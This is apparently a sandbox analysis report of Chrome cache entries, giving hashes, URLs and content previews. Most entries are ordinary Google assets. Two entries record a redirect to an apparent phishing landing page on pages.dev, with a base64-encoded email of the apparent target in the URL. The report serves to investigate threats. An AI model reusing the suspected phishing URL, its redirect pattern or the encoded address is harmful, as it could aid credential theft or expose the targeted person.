SHA-256:	A8E3ADEE049B9FED72D3A20721BF0078C68CA0C13256C3B288D32AD851E78429
SHA-512:	809189C60C68E7A488498091FA4CA6ADF9C5EE329E19F62EFB71073E09E976EBFE115111F7E653C6C64DC29D727BBC8A1BD6D7F1FE124461BA5C157455908601
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.googleapis.com/css?family=Google+Sans:300,400,500,700"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v61/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v61/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v61/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (684)
Category:	downloaded
Size (bytes):	6368
Entropy (8bit):	5.393709113390338
Encrypted:	false
SSDEEP:
MD5:	804991CC8CA6510988BA76D7AF841B04
SHA1:	C64C40F6DB1020CE7E79FBAB440D7EEF78AF732F
SHA-256:	40E9CC173EE98CA7E6B693A528673EC1534328C2EEC34536059F63E3F487FDDC
SHA-512:	230C307E961812B5B6A8A5692D3BF0133FFFDFC36521553E978920EFBF6DE9801B45C56396CF7CA1119D763CA28ABEBA18832D68B6468798558ADD4C8A1C99B3
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.dovcpt-GeYA.O/am=ABgM/d=0/rs=AO0039uH9NA_yVkoWlil9RA8HucOLHt5cQ/m=MpJwZc,UUJqVe,sy3,s39S4,syl,pw70Gc"
Preview:	try{.A("MpJwZc");..B();.}catch(e){_DumpException(e)}.try{.A("UUJqVe");..B();.}catch(e){_DumpException(e)}.try{.Cf(iy);.}catch(e){_DumpException(e)}.try{.A("s39S4");.var Klc=function(a){if(!wva(a))throw Error("G``"+String(a));},Llc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),xTa(b,!1))},Mlc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return dh(e,":.CLIENT")});Ca(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);Gka(a)},Qlc=function(){Nlc\|\|(Nlc=!0,Olc=via,via=function(a){Olc&&.Olc(a);for(var b=0;b<a.length;b++){var c=a[b];lf(c)&&Ef(uf(c)).hSa(c)}},Plc=wia,wia=function(a){Plc&&Plc(a);for(var b=0;b<a.length;b++){var c=a[b];lf(c)&&Ef(uf(c)).iSa(c)}})},Rlc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-c

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3274), with no line terminators
Category:	downloaded
Size (bytes):	3274
Entropy (8bit):	5.390471426059042
Encrypted:	false
SSDEEP:
MD5:	33E4EF067E8DB248F4DFB3C7F76E02B5
SHA1:	D5D5979344C1D3F41A32A180ADC849D373196B6A
SHA-256:	89E059962059032E7A140D5739E8C9C197A55D7305ABD98466C9D6D300B07A02
SHA-512:	9A1F769697EE558640C298906A933259DE20D4CD01D0D485BAEA1B7274B8F951B6D56BF5DF1E54383482970245E2CC5F71EB833EA1C89E949E6948DB56A448AE
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.w7uZcIyFZsQ.L.W.O/m=qcwid/excm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/ct=zgms/rs=AA2YrTtQO3fUcONTNQ0-jEHtQyhEn9DXYw"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4666)
Category:	dropped
Size (bytes):	924375
Entropy (8bit):	5.55500890715613
Encrypted:	false
SSDEEP:
MD5:	217CFA11C3BA04BDD1EC3EFEF2F6D2AF
SHA1:	ADDC101F3D0441EAE123C768C7EE8FAAF340AB9D
SHA-256:	953A557152AD36B1361FBBBF066E0F9729208EDB7F8DB1673916D20C38029397
SHA-512:	8886E2AF6D6102F72B707E343164FD92F2DC6C7A82191A6DB7AF88474C70018C73AE6EE70D81B5350C4BB565CD111E3E2AC65A04111517612F564CEE5DCA6E2F
Malicious:	false
Reputation:	unknown
Preview:	try{.A("dSirkf");..B();.}catch(e){_DumpException(e)}.try{.var BFc=function(a){if(AFc.has(a))return AFc.get(a);throw Error("vh`"+a);},DFc=function(a){if(CFc.has(a))return CFc.get(a);throw Error("wh`"+a);},EFc=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].Oq);return b},iN=function(a){this.aa=q(a)};P(iN,x);for(var FFc={CLICK:{string:"click",Oq:"cOuCgd"},GENERIC_CLICK:{string:"generic_click",Oq:"szJgjc"},IMPRESSION:{string:"impression",Oq:"xr6bB"},HOVER:{string:"hover",Oq:"ZmdkE"},KEYPRESS:{string:"keypress",Oq:"Kr2w4b"},KEYBOARD_ENTER:{string:"keyboard_enter",Oq:"SYhH9d"},VIS:{string:"vis",Oq:"HkgBsf"}},AFc=EFc(FFc),GFc=new Map,HFc=n(Object.keys(FFc)),IFc=HFc.next();!IFc.done;IFc=HFc.next()){var JFc=IFc.value;GFc.set(FFc[JFc].Oq,FFc[JFc].string)}.var CFc=EFc({TRACK:{string:"track",Oq:"u014N"},INDEX:{string:"index",Oq:"cQYSPc"},MUTABLE:{string:"mutable",Oq:"dYFj7e"},COMPONENT_ID:{string:"cid",Oq:"cOuyq"},TEST_CODE:{string:"

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3814)
Category:	downloaded
Size (bytes):	122784
Entropy (8bit):	5.471725859207331
Encrypted:	false
SSDEEP:
MD5:	724D3986846438E2CACA6014024B685D
SHA1:	D521612AA7399E7AF543E96CA734419A6D4D7949
SHA-256:	665EB302F730C65C8752A1998114C6F4D7F0D5E0250465C18665772D14500389
SHA-512:	BD69BB84BB9F1C326E0271A3D22F82B4A23414EEA4A4ABF2A8A8505A1796E3F6E2B1084AA00C783FCCF19220B74008DEBB1E56108D996606753A9C06C1723ADD
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	2904473
Entropy (8bit):	5.655426899162941
Encrypted:	false
SSDEEP:
MD5:	7C2D9220E66F2FA5621E3E09FABB6446
SHA1:	45890F8D6DFCF81F5D02440CFCBD6A3D74DED877
SHA-256:	FD7980C70F96AC2053A20071ED85374F304AB3205C31BE2BA1C8B42290BCF490
SHA-512:	B69CB91140C4EEC2D65EBB2EF53B3818669C2694943BCF406D8D22E846C0D5CD9F45196A0EB41506011C2189008A1471D6A758760CDF190E59C54C4A4ABE9ABE
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/_/apps-fileview/_/ss/k=apps-fileview.v.OUOaImMLt-4.L.W.O/am=ABgM/d=0/rs=AO0039taSMp4Xhs94ofat1wH8oY9L7baNQ
Preview:	.Fng7d{width:100%;border-radius:50%}.TW497b{height:56px}.TW497b.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend{height:72px}.mVuend.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend .W7g1Rb-rymPhb-Gtdoyb{gap:8px}.WgAPob{margin-top:8px;margin-bottom:8px}.OiePBf-zPjgPe{display:var(--gm3-focus-ring-outward-display,none);pointer-events:none;position:absolute;z-index:1;border-start-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-start-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));inset:calc(var(--gm3-focus-ring-out

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:
MD5:	4708D1B37F72B842EFE4238A9825064B
SHA1:	889321990FC6854DD351DF9DE8D41D2C9253BAF0
SHA-256:	10B772A54149F2086265D2CAF0C434B7CABE913BBE3665CB9DE5FAEC5EB2FB7F
SHA-512:	1285F4AEFE4F061D9D53FE96509AD93070843265C306123D197DF3603EEFF92FC6017019410015203B2DF139CC9594E387246D4211EADE320A7E77CCCA6EFDDA
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwncHhV_nsiGYRIFDZFhlU4SBQ0G7bv_?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw0G7bv/GgA=

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	downloaded
Size (bytes):	103535
Entropy (8bit):	5.671465998894305
Encrypted:	false
SSDEEP:
MD5:	7A43F5FFC6078BE15C2D6B1B580D6544
SHA1:	687FEE725BC8465B3EF2ED56DD55419B79734547
SHA-256:	ECD44AB4177E62766E52D62AB9F2618C8EE0C13836F7CACE0F809A86BB6B4CEB
SHA-512:	8800C590B59688265EE6287D78D03D197972327090B8F7E764F250592D80582996F14F03181BE619C94CA28CE918EBBF23E348474ED6AF1CE1625884FC9D0AFB
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.dovcpt-GeYA.O/am=ABgM/d=0/rs=AO0039uH9NA_yVkoWlil9RA8HucOLHt5cQ/m=sy7w,sy14,sy82,sy8a,sy8b,sy8d,sy8c,sy8g,rj51oe,gypOCd"
Preview:	try{.var p6d=function(a){for(var b=ad.apply(1,arguments),c=a[0],d=0;d<a.length-1;d++)c+=String(b[d])+a[d+1];if(/[<>]/.test(c))throw Error("ya`"+c);return c},q6d=function(){qH.apply(this,arguments)};P(q6d,qH);q6d.prototype.enqueue=function(a,b){this.insert(a,b)};var r6d=function(a,b){a%=b;return a*b<0?a+b:a},s6d=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var ptc=function(){return faa&&ha?!ha.mobile&&(ka("iPad")\|\|ka("Android")\|\|ka("Silk")):ka("iPad")\|\|ka("Android")&&!ka("Mobile")\|\|ka("Silk")},pL=function(){return!(faa&&ha?ha.mobile:!ptc()&&(ka("iPod")\|\|ka("iPhone")\|\|ka("Android")\|\|ka("IEMobile")))&&!ptc()};.}catch(e){_DumpException(e)}.try{.var zMe=function(a,b){this.C=a instanceof It?a:new It(a,b)};kk(zMe,bnb);zMe.prototype.Yd=function(a,b,c,d){var e=uf(a);var f=e.body;e=e.documentElement;e=new It(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=cnb(a);f-=g.x;e-=g.y;GC(new It(f,e),a,b,c,null,null,d)};var AMe=function(

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	4.971238198753172
Encrypted:	false
SSDEEP:
MD5:	BC3F66658BF1AAC5E93DEFF528B6E90E
SHA1:	E02939B6F5A9EAA666CDFDA5E5D99F876614E666
SHA-256:	FE0994BDC329280ADE3268FE5554F3ECA4A725676CC0427C85526AC8E89342AE
SHA-512:	CD601FC0F5FC34E0377262BA7C84C062DAE7AF76DD955D6F9309224DDA18CE5013A1CA4FCD0A910F56138E8C3246A592C24322CDF59BD917FB6F1E6CC16661A7
Malicious:	false
Reputation:	unknown
URL:	https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ fallback */.@font-face {. font-family: 'Google Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlematerialicons/v142/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2) format('woff2');.}...google-material-icons {. font-family: 'Google Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3354), with CRLF line terminators
Category:	downloaded
Size (bytes):	6714
Entropy (8bit):	5.60434737105966
Encrypted:	false
SSDEEP:
MD5:	81B91258A56D8A1A587FC41D5A461B05
SHA1:	BF9D6AAEA7152F5F6B84E07CC8811EFA05D6E279
SHA-256:	6CE41796B68EECCDA2CFCD3143015053F311BB86CEE3FFA4CBC2A195AA38DF31
SHA-512:	573E6BFD3C2DF22BD5F6E6857830801131770650C9C7ACDFEEAFCA0A748513BFF686D8528C4168B42FEB20E0F3FE369BA8D9764BF15D2CB7E6FD47318372534C
Malicious:	false
Reputation:	unknown
URL:	https://ac-acsi.pages.dev/favicon.ico
Preview:	<html>...... <head>.... <meta.. name="viewport"..content="width=device-width, .initial-scale=1.0">...... . <meta..name="robots" .content="noindex,.nofollow">.... <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"> </script>...... <script...src="https://challenges.cloudflare.com/turnstile/v0/api.js">. </script>.. <style>...... ..body.., html { height: ..100%;margin: 0;display: flex;align-items: .center;justify-content:. center.} @keyframes . bounce . { 0% ., .100% .., .12.5%. , 32.5%.,..76.1% ..{ transform: translateY(0) } ..22.5%.., 86%.{ transform: translateY(7px). }.} #earthbound {. height: 179px;width: .130px;overflow:.hidden;margin-top: .-59px;margin-left:. 25px.} @keyframes.shadow-fade {. 0%.,.100% ,.. 21.2% ,. .80% { opacity: 0 }.47% , .70% { opacity:. .1 } .}.. #kayaking.{ .width: .130px;margin-top: 179px } #nanosecond.. { .width: 130px;height: 71px;border-radius:.0 0 . 7px.7px;overflow: .hidden;margin-top: -41px }.

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	430
Entropy (8bit):	5.565972110051589
Encrypted:	false
SSDEEP:
MD5:	B615289A9CC24D07F86F5BE19A2ADDC3
SHA1:	2B15416C777250AA93C5C9922A647D6DFB162DCE
SHA-256:	CAD49A5C077106F48A7472A1EF7E736F9BCBBE7436B653F615CCC74111B60E89
SHA-512:	470EBE15291EB739477F25AF23D1FEC64BE35B897F183032B652C9002379B03B1CFC1962EB1DF363683628DFD33272B55A34ABA8058C53B4D7F9A946ED4DFA64
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/url?q=https://ac-acsi.pages.dev/%233bGNvdWNob3RAanBwbHVzLmNvbQ%3D%3D&sa=D&source=apps-viewer-frontend&ust=1729183285752363&usg=AOvVaw10uKJSSq8MF6LS9zKzCWtp&hl=en
Preview:	<HTML><HEAD>.<meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>Redirecting</TITLE>.<META HTTP-EQUIV="refresh" content="1; url=https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ==">.</HEAD>.<BODY onLoad="location.replace('https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ\x3d\x3d'+document.location.hash)">.Redirecting you to https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ==</BODY></HTML>..

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.47887345911425
Encrypted:	false
SSDEEP:
MD5:	844E7AD848816441E2F3D9E9D6E63047
SHA1:	D30409FA96F74212C26ABAEB5DE8D2857246EBA8
SHA-256:	963371AAD7DF37F73FC1DE7742D11DF335B339721B2C3308DA44188594F27F4B
SHA-512:	33C66E4109D085D6481F33744520A461FA8819852975A23EF7297B772D9AFB506A855FC738935DAD8FD1D6CBAD2F0BFEE88183AEA3A87F5276E34DCE41FEC9DB
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQm4AQ_njqwvuhIFDZFhlU4SBQ0G7bv_EgUNkWGVThIFDQbtu_8=?alt=proto
Preview:	CjAKBw2RYZVOGgAKBw0G7bv/GgAKDQ2RYZVOGgQIVhgCIAEKDQ0G7bv/GgQIVhgCIAE=

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmlNHcUu78_khIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1885)
Category:	dropped
Size (bytes):	82296
Entropy (8bit):	5.592663724925133
Encrypted:	false
SSDEEP:
MD5:	E08FA1D1755C4F8570B123C010325195
SHA1:	C496DDD8CBC293564E5FDF2D987833332F554660
SHA-256:	73C96E90B9C6A8E44AA7FA57F5A84A765AB2D1452E11B7B41882F2056B4BC393
SHA-512:	369B54AB94A768D44216962936D3DD948EAA688488D9C279FFCEEC2A2CBD4243FEFB2EADABB6C9D53243C3803EFBB5DC7E234CFC17EC5A9CA549AD4DE4141700
Malicious:	false
Reputation:	unknown
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var ba,fa,ha,na,oa,sa,ua,wa;ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};fa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ma=ha(this);na=function(a,b){if(b)a:{var c=_.ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&fa(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1195)
Category:	dropped
Size (bytes):	208050
Entropy (8bit):	5.527524198805295
Encrypted:	false
SSDEEP:
MD5:	B53067A92A1A2972E65ACBD28C1BD4B6
SHA1:	73F76C08E36B3859382534FFD9F098A5A2AC8844
SHA-256:	ECC876C51AF40D46138AFC49ED08FB18ECB4BB8550F6587E8DF0C3E71FA67448
SHA-512:	CDBC28FA4A0A1FAC371C54B05614AFA8B6839FEF405AEB78880E8EF2D0106A28B4E59FB7BA1A7DCA99ABE1EA6EB52FED74B3AE6B61114EB757E972B5B96FE934
Malicious:	false
Reputation:	unknown
